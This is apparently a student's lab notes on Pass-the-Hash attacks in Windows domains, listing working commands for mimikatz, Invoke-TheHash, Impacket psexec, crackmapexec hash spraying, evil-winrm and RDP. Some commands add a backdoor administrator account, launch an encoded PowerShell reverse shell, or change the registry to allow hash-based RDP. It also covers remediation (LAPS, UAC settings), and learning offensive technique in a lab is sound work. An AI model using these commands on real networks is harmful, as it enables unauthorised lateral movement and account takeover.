---
title: "10. PassTheHash"
date: 2024-08-11
draft: false
---

Technique basically consists of using the hash directly as a password instead of cracking it first in order to use it. 
Requires admin priv to obtain a PW hash i.e. 
1. From local SAM of compromised host
2. from NTDS.dit on a Domain Controller 
3. Pulling hashes from memory (in `lsass.exe`)

NTLM Refresher
https://learn.microsoft.com/en-us/windows-server/security/kerberos/ntlm-overview

- Set of sec protocols that authenticates user identity
- NTLM is an SSO solution that uses challenge-response protocol to verify, without requiring a password. 
- Passwords stored on server/domain controller are not 'salted' - meaning adversary w/ password hash can authenticate a session without knowing the original password. 

## Mimikatz - https://github.com/gentilkiwi
```bash
mimikatz.exe privilege::debug "sekurlsa::pth /user:julio /rc4:64F12CDDAA88057E06A81B54E73B949B /domain:inlanefreight.htb /run:cmd.exe" exit
```

`sekurlsa::pth` is the module that we can use to allow us to perform a PtH attack. 


## Pass the Hash with PowerShell Invoke-TheHash (Windows) 
https://github.com/Kevin-Robertson/Invoke-TheHash
- Collection of PS functions for performing PtH attacks with WMI and SMB. 
- WMI/SMB connections accessed through .NET TCPClient 
- Auth performed by passing an NTLM hash into NTLMv2 auth protocol.
- Local admin priv not required client-side - but user/hash we use to auth must have admin rights on target computer. 

```bash
PS c:\tools\Invoke-TheHash> Import-Module .\Invoke-TheHash.psd1
PS c:\tools\Invoke-TheHash> Invoke-SMBExec -Target 172.16.1.10 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "net user mark Password123 /add && net localgroup administrators mark /add" -Verbose
```
-  SMB method for command execution to create a new user named mark and add the user to the Administrators group.
- We can also get a reverse shell connection in the target machine starting a nc listener and running a reverse shell: 
```bash
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0[........]ApAA=="
```

---
Challenge:
```bash
Using Julio's hash, perform a Pass the Hash attack, launch a PowerShell console and import Invoke-TheHash to create a reverse shell to the machine you are connected via RDP (the target machine, DC01, can only connect to MS01). Use the tool nc.exe located in c:\tools to listen for the reverse shell. Once connected to the DC01, read the flag in C:\julio\flag.txt.
```

mimikatz, open a powershell session: 
```bash
./mimikatz.exe "privilege::debug" "sekurlsa::pth /user:julio /rc4:64f12cddaa88057e06a81b54e73b949b /domain:inlanefreight.htb /run:powershell.exe" exit
```

then, execute a powershell b64 encoded revshell - specifying `-Target DC01` 

```bash
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64f12cddaa88057e06a81b54e73b949b -Command "powershell -e JABjAGwAaQBlAG4AdAAgA[......]CgAKQA="
```

```bash
PS C:\julio> whoami
inlanefreight\julio
```


## Pass the hash with Impacket (Linux)

[Impacket](https://github.com/SecureAuthCorp/impacket) has several tools we can use for different operations such as `Command Execution` and `Credential Dumping`, `Enumeration`, etc. For this example, we will perform command execution on the target machine using `PsExec`.

```bash
impacket-psexec administrator@10.129.201.126 -hashes :30B3783CE2ABF1AF70F77D0660CF3453
```
There are several other tools in the Impacket toolkit we can use for command execution using Pass the Hash attacks, such as:

- [impacket-wmiexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/wmiexec.py)
- [impacket-atexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/atexec.py)
- [impacket-smbexec](https://github.com/SecureAuthCorp/impacket/blob/master/examples/smbexec.py)

## Pass the hash with netexec (cme)
```bash
crackmapexec smb 172.16.1.0/24 -u Administrator -d . -H 30B3783CE2ABF1AF70F77D0660CF3453
```
sprays against all hosts in /24 cidr block

since user is admin - It is common to see password reuse against many hosts in the same subnet - Organizations will often use gold images with the same local admin password or set this password the same across multiple hosts for ease of administration. 
remediation: Local Administrator Password Solution (LAPS)[https://www.microsoft.com/en-us/download/details.aspx?id=46899] , which randomizes the local administrator password and can be configured to have it rotate on a fixed interval.

You can also append `-x` to nxc for execute commands. 


## pass hash with evil-winrm / RDP
```bash
evil-winrm -i 10.129.201.126 -u Administrator -H 30B3783CE2ABF1AF70F77D0660CF3453
```

RDP: 
- `Restricted Admin Mode`, which is disabled by default, should be enabled on the target host; otherwise, you will be presented with the following error:

This can be enabled by adding a new registry key `DisableRestrictedAdmin` (REG_DWORD) under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa` with the value of 0. It can be done using the following command:
```bash
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
```

```bash
xfreerdp  /v:10.129.201.126 /u:julio /pth:64F12CDDAA88057E06A81B54E73B949B
```

---
On windows, User Account Control can limit PTH for local accounts - UAC limits local user ability to perform remote admin operations. When registry key 

`HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\LocalAccountTokenFilterPolicy` 

is set to 0; built-in admin account is the only local account allowed to perform remote admin tasks. `1` allows other local admins too. 

- Note: There is one exception, if the registry key FilterAdministratorToken (disabled by default) is enabled (value 1), the RID 500 account (even if it is renamed) is enrolled in UAC protection. This means that remote PTH will fail against the machine when using that account.

These settings are only for local administrative accounts. If we get access to a domain account with administrative rights on a computer, we can still use Pass the Hash with that computer. If you want to learn more about LocalAccountTokenFilterPolicy, you can read Will Schroeder's blog post [Pass-the-Hash Is Dead: Long Live LocalAccountTokenFilterPolicy](https://posts.specterops.io/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy-506c25a7c167).

